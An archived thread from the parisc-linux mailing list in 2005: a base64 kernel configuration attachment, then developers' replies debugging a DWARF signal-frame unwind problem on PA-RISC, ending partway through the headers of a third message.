SUdfQkFDS0xJR0hUX0xDRF9TVVBQT1JUIGlzIG5vdCBzZXQKCiMKIyBTb3VuZAojCiMgQ09ORklH
X1NPVU5EIGlzIG5vdCBzZXQKCiMKIyBVU0Igc3VwcG9ydAojCiMgQ09ORklHX1VTQl9BUkNIX0hB
U19IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfQVJDSF9IQVNfT0hDSSBpcyBub3Qgc2V0Cgoj
CiMgVVNCIEdhZGdldCBTdXBwb3J0CiMKIyBDT05GSUdfVVNCX0dBREdFVCBpcyBub3Qgc2V0Cgoj
CiMgTU1DL1NEIENhcmQgc3VwcG9ydAojCiMgQ09ORklHX01NQyBpcyBub3Qgc2V0CgojCiMgSW5m
aW5pQmFuZCBzdXBwb3J0CiMKIyBDT05GSUdfSU5GSU5JQkFORCBpcyBub3Qgc2V0CgojCiMgU04g
RGV2aWNlcwojCgojCiMgRmlsZSBzeXN0ZW1zCiMKQ09ORklHX0VYVDJfRlM9eQpDT05GSUdfRVhU
Ml9GU19YQVRUUj15CkNPTkZJR19FWFQyX0ZTX1BPU0lYX0FDTD15CkNPTkZJR19FWFQyX0ZTX1NF
Q1VSSVRZPXkKIyBDT05GSUdfRVhUMl9GU19YSVAgaXMgbm90IHNldApDT05GSUdfRVhUM19GUz15
CkNPTkZJR19FWFQzX0ZTX1hBVFRSPXkKQ09ORklHX0VYVDNfRlNfUE9TSVhfQUNMPXkKQ09ORklH
X0VYVDNfRlNfU0VDVVJJVFk9eQpDT05GSUdfSkJEPXkKIyBDT05GSUdfSkJEX0RFQlVHIGlzIG5v
dCBzZXQKQ09ORklHX0ZTX01CQ0FDSEU9eQpDT05GSUdfUkVJU0VSRlNfRlM9bQojIENPTkZJR19S
RUlTRVJGU19DSEVDSyBpcyBub3Qgc2V0CiMgQ09ORklHX1JFSVNFUkZTX1BST0NfSU5GTyBpcyBu
b3Qgc2V0CkNPTkZJR19SRUlTRVJGU19GU19YQVRUUj15CkNPTkZJR19SRUlTRVJGU19GU19QT1NJ
WF9BQ0w9eQpDT05GSUdfUkVJU0VSRlNfRlNfU0VDVVJJVFk9eQojIENPTkZJR19KRlNfRlMgaXMg
bm90IHNldApDT05GSUdfRlNfUE9TSVhfQUNMPXkKCiMKIyBYRlMgc3VwcG9ydAojCiMgQ09ORklH
X1hGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX01JTklYX0ZTIGlzIG5vdCBzZXQKQ09ORklHX1JP
TUZTX0ZTPW0KQ09ORklHX0lOT1RJRlk9eQpDT05GSUdfUVVPVEE9eQpDT05GSUdfUUZNVF9WMT1t
CkNPTkZJR19RRk1UX1YyPW0KQ09ORklHX1FVT1RBQ1RMPXkKQ09ORklHX0ROT1RJRlk9eQpDT05G
SUdfQVVUT0ZTX0ZTPW0KQ09ORklHX0FVVE9GUzRfRlM9bQoKIwojIENELVJPTS9EVkQgRmlsZXN5
c3RlbXMKIwpDT05GSUdfSVNPOTY2MF9GUz1tCkNPTkZJR19KT0xJRVQ9eQpDT05GSUdfWklTT0ZT
PXkKQ09ORklHX1pJU09GU19GUz1tCkNPTkZJR19VREZfRlM9bQpDT05GSUdfVURGX05MUz15Cgoj
CiMgRE9TL0ZBVC9OVCBGaWxlc3lzdGVtcwojCiMgQ09ORklHX01TRE9TX0ZTIGlzIG5vdCBzZXQK
IyBDT05GSUdfVkZBVF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05URlNfRlMgaXMgbm90IHNldAoK
IwojIFBzZXVkbyBmaWxlc3lzdGVtcwojCkNPTkZJR19QUk9DX0ZTPXkKQ09ORklHX1BST0NfS0NP
UkU9eQpDT05GSUdfU1lTRlM9eQojIENPTkZJR19ERVZQVFNfRlNfWEFUVFIgaXMgbm90IHNldApD
T05GSUdfVE1QRlM9eQojIENPTkZJR19UTVBGU19YQVRUUiBpcyBub3Qgc2V0CiMgQ09ORklHX0hV
R0VUTEJfUEFHRSBpcyBub3Qgc2V0CkNPTkZJR19SQU1GUz15CgojCiMgTWlzY2VsbGFuZW91cyBm
aWxlc3lzdGVtcwojCiMgQ09ORklHX0FERlNfRlMgaXMgbm90IHNldAojIENPTkZJR19BRkZTX0ZT
IGlzIG5vdCBzZXQKIyBDT05GSUdfSEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfSEZTUExVU19G
UyBpcyBub3Qgc2V0CiMgQ09ORklHX0JFRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19CRlNfRlMg
aXMgbm90IHNldAojIENPTkZJR19FRlNfRlMgaXMgbm90IHNldApDT05GSUdfQ1JBTUZTPXkKIyBD
T05GSUdfVlhGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hQRlNfRlMgaXMgbm90IHNldAojIENP
TkZJR19RTlg0RlNfRlMgaXMgbm90IHNldAojIENPTkZJR19TWVNWX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfVUZTX0ZTIGlzIG5vdCBzZXQKCiMKIyBOZXR3b3JrIEZpbGUgU3lzdGVtcwojCkNPTkZJ
R19ORlNfRlM9eQpDT05GSUdfTkZTX1YzPXkKIyBDT05GSUdfTkZTX1YzX0FDTCBpcyBub3Qgc2V0
CkNPTkZJR19ORlNfVjQ9eQpDT05GSUdfTkZTX0RJUkVDVElPPXkKQ09ORklHX05GU0Q9bQpDT05G
SUdfTkZTRF9WMz15CiMgQ09ORklHX05GU0RfVjNfQUNMIGlzIG5vdCBzZXQKQ09ORklHX05GU0Rf
VjQ9eQpDT05GSUdfTkZTRF9UQ1A9eQpDT05GSUdfTE9DS0Q9eQpDT05GSUdfTE9DS0RfVjQ9eQpD
T05GSUdfRVhQT1JURlM9bQpDT05GSUdfTkZTX0NPTU1PTj15CkNPTkZJR19TVU5SUEM9eQpDT05G
SUdfU1VOUlBDX0dTUz15CkNPTkZJR19SUENTRUNfR1NTX0tSQjU9eQojIENPTkZJR19SUENTRUNf
R1NTX1NQS00zIGlzIG5vdCBzZXQKQ09ORklHX1NNQl9GUz1tCkNPTkZJR19TTUJfTkxTX0RFRkFV
TFQ9eQpDT05GSUdfU01CX05MU19SRU1PVEU9ImNwNDM3IgpDT05GSUdfQ0lGUz1tCiMgQ09ORklH
X0NJRlNfU1RBVFMgaXMgbm90IHNldAojIENPTkZJR19DSUZTX1hBVFRSIGlzIG5vdCBzZXQKIyBD
T05GSUdfQ0lGU19FWFBFUklNRU5UQUwgaXMgbm90IHNldAojIENPTkZJR19OQ1BfRlMgaXMgbm90
IHNldAojIENPTkZJR19DT0RBX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQUZTX0ZTIGlzIG5vdCBz
ZXQKCiMKIyBQYXJ0aXRpb24gVHlwZXMKIwojIENPTkZJR19QQVJUSVRJT05fQURWQU5DRUQgaXMg
bm90IHNldApDT05GSUdfTVNET1NfUEFSVElUSU9OPXkKCiMKIyBOYXRpdmUgTGFuZ3VhZ2UgU3Vw
cG9ydAojCkNPTkZJR19OTFM9eQpDT05GSUdfTkxTX0RFRkFVTFQ9Imlzbzg4NTktMSIKQ09ORklH
X05MU19DT0RFUEFHRV80Mzc9bQojIENPTkZJR19OTFNfQ09ERVBBR0VfNzM3IGlzIG5vdCBzZXQK
IyBDT05GSUdfTkxTX0NPREVQQUdFXzc3NSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFH
RV84NTAgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODUyIGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX0NPREVQQUdFXzg1NSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84
NTcgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODYwIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkxTX0NPREVQQUdFXzg2MSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjIg
aXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODYzIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkxTX0NPREVQQUdFXzg2NCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjUgaXMg
bm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODY2IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxT
X0NPREVQQUdFXzg2OSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV85MzYgaXMgbm90
IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfOTUwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NP
REVQQUdFXzkzMiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV85NDkgaXMgbm90IHNl
dAojIENPTkZJR19OTFNfQ09ERVBBR0VfODc0IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4
NTlfOCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV8xMjUwIGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX0NPREVQQUdFXzEyNTEgaXMgbm90IHNldAojIENPTkZJR19OTFNfQVNDSUkgaXMg
bm90IHNldApDT05GSUdfTkxTX0lTTzg4NTlfMT1tCiMgQ09ORklHX05MU19JU084ODU5XzIgaXMg
bm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV8zIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lT
Tzg4NTlfNCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzUgaXMgbm90IHNldAojIENP
TkZJR19OTFNfSVNPODg1OV82IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfNyBpcyBu
b3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzkgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNP
ODg1OV8xMyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzE0IGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX0lTTzg4NTlfMTUgaXMgbm90IHNldAojIENPTkZJR19OTFNfS09JOF9SIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkxTX0tPSThfVSBpcyBub3Qgc2V0CkNPTkZJR19OTFNfVVRGOD1tCgoj
CiMgUHJvZmlsaW5nIHN1cHBvcnQKIwojIENPTkZJR19QUk9GSUxJTkcgaXMgbm90IHNldAoKIwoj
IEtlcm5lbCBoYWNraW5nCiMKIyBDT05GSUdfUFJJTlRLX1RJTUUgaXMgbm90IHNldApDT05GSUdf
REVCVUdfS0VSTkVMPXkKQ09ORklHX01BR0lDX1NZU1JRPXkKQ09ORklHX0xPR19CVUZfU0hJRlQ9
MTUKIyBDT05GSUdfU0NIRURTVEFUUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NMQUIgaXMg
bm90IHNldAojIENPTkZJR19ERUJVR19TUElOTE9DSyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVH
X1NQSU5MT0NLX1NMRUVQIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfS09CSkVDVCBpcyBub3Qg
c2V0CiMgQ09ORklHX0RFQlVHX0lORk8gaXMgbm90IHNldAojIENPTkZJR19ERUJVR19JT1JFTUFQ
IGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfRlMgaXMgbm90IHNldAoKIwojIFNlY3VyaXR5IG9w
dGlvbnMKIwojIENPTkZJR19LRVlTIGlzIG5vdCBzZXQKQ09ORklHX1NFQ1VSSVRZPXkKQ09ORklH
X1NFQ1VSSVRZX05FVFdPUks9eQpDT05GSUdfU0VDVVJJVFlfQ0FQQUJJTElUSUVTPXkKIyBDT05G
SUdfU0VDVVJJVFlfU0VDTFZMIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VDVVJJVFlfU0VMSU5VWCBp
cyBub3Qgc2V0CgojCiMgQ3J5cHRvZ3JhcGhpYyBvcHRpb25zCiMKQ09ORklHX0NSWVBUTz15CkNP
TkZJR19DUllQVE9fSE1BQz15CkNPTkZJR19DUllQVE9fTlVMTD1tCkNPTkZJR19DUllQVE9fTUQ0
PW0KQ09ORklHX0NSWVBUT19NRDU9eQpDT05GSUdfQ1JZUFRPX1NIQTE9bQpDT05GSUdfQ1JZUFRP
X1NIQTI1Nj1tCkNPTkZJR19DUllQVE9fU0hBNTEyPW0KIyBDT05GSUdfQ1JZUFRPX1dQNTEyIGlz
IG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1RHUjE5MiBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9f
REVTPXkKQ09ORklHX0NSWVBUT19CTE9XRklTSD1tCkNPTkZJR19DUllQVE9fVFdPRklTSD1tCkNP
TkZJR19DUllQVE9fU0VSUEVOVD1tCkNPTkZJR19DUllQVE9fQUVTPW0KQ09ORklHX0NSWVBUT19D
QVNUNT1tCkNPTkZJR19DUllQVE9fQ0FTVDY9bQpDT05GSUdfQ1JZUFRPX1RFQT1tCkNPTkZJR19D
UllQVE9fQVJDND1tCkNPTkZJR19DUllQVE9fS0hBWkFEPW0KIyBDT05GSUdfQ1JZUFRPX0FOVUJJ
UyBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fREVGTEFURT1tCkNPTkZJR19DUllQVE9fTUlDSEFF
TF9NSUM9bQpDT05GSUdfQ1JZUFRPX0NSQzMyQz1tCkNPTkZJR19DUllQVE9fVEVTVD1tCgojCiMg
SGFyZHdhcmUgY3J5cHRvIGRldmljZXMKIwoKIwojIExpYnJhcnkgcm91dGluZXMKIwpDT05GSUdf
Q1JDX0NDSVRUPW0KQ09ORklHX0NSQzMyPXkKQ09ORklHX0xJQkNSQzMyQz1tCkNPTkZJR19aTElC
X0lORkxBVEU9eQpDT05GSUdfWkxJQl9ERUZMQVRFPW0K
------=_Part_3343_14025129.1124800310842
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_3343_14025129.1124800310842--



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Thu, 25 Aug 2005 23:59:17 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <430DEAD5.9070008@tausq.org>
References: <200508241530.j7OFUFwS005854@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623916 16606 80.91.229.3 (22 Nov 2014 02:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2005 15:58:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 25 Aug 2005 17:58:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A453E7D6BC;
	Thu, 25 Aug 2005 09:58:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26788-04; Thu, 25 Aug 2005 09:58:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EB747D6C1;
	Thu, 25 Aug 2005 09:58:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B68237D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Aug 2005 09:58:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26788-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Aug 2005 09:58:45 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 009D07D405
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Aug 2005 09:58:44 -0600 (MDT)
Original-Received: from 125.206.17.210.dyn.pacific.net.hk ([210.17.206.125]
	helo=[192.168.1.102])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1E8K16-0005oj-9n; Thu, 25 Aug 2005 23:51:48 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <200508241530.j7OFUFwS005854@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6I9/Y2M/eSEkUb6WZHQhaXN1IGRvb0Bq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23136

> Still don't know.  I have been working on the java testsuite which
> appears to cause most of the kernel bugs.  I fixed a bug last weekend
> where the signal handler caused a SIGSEGV.  An incorrect count was
> used to copy a mmapped block.  We still have a problem with PR218.exe.
> The DWARF unwind fails to stop and allocates a huge amount of memory.
> PR218 is a simple test to test whether the runtime can catch a null
> pointer exception from a leaf routine.  I think there is a bug in
> MD_FALLBACK_FRAME_STATE_FOR.  It replaces the %r2 value with the
> iaoq[0] value and I think this fails when we need to unwind through
> a leaf function which doesn't save %r2.

Can you explain more where this is broken?

I'm assuming you are talking about this bit of code:

     134   fs->regs.reg[2].how = REG_SAVED_OFFSET;
     135   fs->regs.reg[2].loc.offset = (long) &sc->sc_iaoq[0] - new_cfa;
     136   fs->retaddr_column = 2;

sc_iaoq[0] should be the pc when the signal handler was triggered, so it 
shouldn't matter if it's a leaf func or not. We are simply telling the 
unwinder that reg[2] has the return address of the current (signal 
handler) function, and the value of reg[2] can be computed with a stack 
offset. When is this wrong?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Thu, 25 Aug 2005 13:04:04 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <200508251704.j7PH44IE011159@hiauly1.hia.nrc.ca>
References: <430DEAD5.9070008@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623917 16614 80.91.229.3 (22 Nov 2014 02:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2005 17:04:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 25 Aug 2005 19:04:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D3F37D6CE;
	Thu, 25 Aug 2005 11:04:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27237-04; Thu, 25 Aug 2005 11:04:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE5587D6D1;
	Thu, 25 Aug 2005 11:04:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B12C87D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Aug 2005 11:04:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26788-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Aug 2005 11:04:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 18B277D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Aug 2005 11:04:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7PH45nV011160; Thu, 25 Aug 2005 13:04:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7PH44IE011159;
	Thu, 25 Aug 2005 13:04:04 -0400 (EDT)
In-Reply-To: <430DEAD5.9070008@tausq.org> from "Randolph Chung" at Aug 25,
	2005 11:59:17 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R59/Y8x4eSEkRb6WZHQhaXN1IGRvbwDC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23137

> > Still don't know.  I have been working on the java testsuite which
> > appears to cause most of the kernel bugs.  I fixed a bug last weekend
> > where the signal handler caused a SIGSEGV.  An incorrect count was
> > used to copy a mmapped block.  We still have a problem with PR218.exe.
> > The DWARF unwind fails to stop and allocates a huge amount of memory.
> > PR218 is a simple test to test whether the runtime can catch a null
> > pointer exception from a leaf routine.  I think there is a bug in
> > MD_FALLBACK_FRAME_STATE_FOR.  It replaces the %r2 value with the
> > iaoq[0] value and I think this fails when we need to unwind through
> > a leaf function which doesn't save %r2.
> 
> Can you explain more where this is broken?

No.  I need to do more debugging.

> I'm assuming you are talking about this bit of code:
> 
>      134   fs->regs.reg[2].how = REG_SAVED_OFFSET;
>      135   fs->regs.reg[2].loc.offset = (long) &sc->sc_iaoq[0] - new_cfa;
>      136   fs->retaddr_column = 2;

Yes.  See the alpha implementation that uses an alternate column
for signal handlers.

> sc_iaoq[0] should be the pc when the signal handler was triggered, so it 
> shouldn't matter if it's a leaf func or not. We are simply telling the 
> unwinder that reg[2] has the return address of the current (signal 
> handler) function, and the value of reg[2] can be computed with a stack 
> offset. When is this wrong?

I'm not sure.  The func that triggers the exception looks like this:

00010cc4 <_ZN5PR2183fooEPS_>:
10cc4:       0f 28 10 9c     ldw 4(r25),ret0
10cc8:       37 9c 00 08     ldo 4(ret0),ret0
10ccc:       0f 3c 12 88     stw ret0,4(r25)
10cd0:       e8 40 c0 02     bv,n r0(rp)

It doesn't have a frame.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Fri, 26 Aug 2005 18:18:44 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <ILU7Z8$A45024D8A6EE83C4BD0F8A98E91FD42A@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623917 16626 80.91.229.3 (22 Nov 2014 02:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:37 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2005 16:19:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 26 Aug 2005 18:19:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61EB77D712;
	Fri, 26 Aug 2005 10:18:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03379-01; Fri, 26 Aug 2005 10:18:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A64F97D702;
	Fri, 26 Aug 2005 10:18:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 575E77D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Aug 2005 10:18:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02921-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Aug 2005 10:18:48 -0600 (MDT)
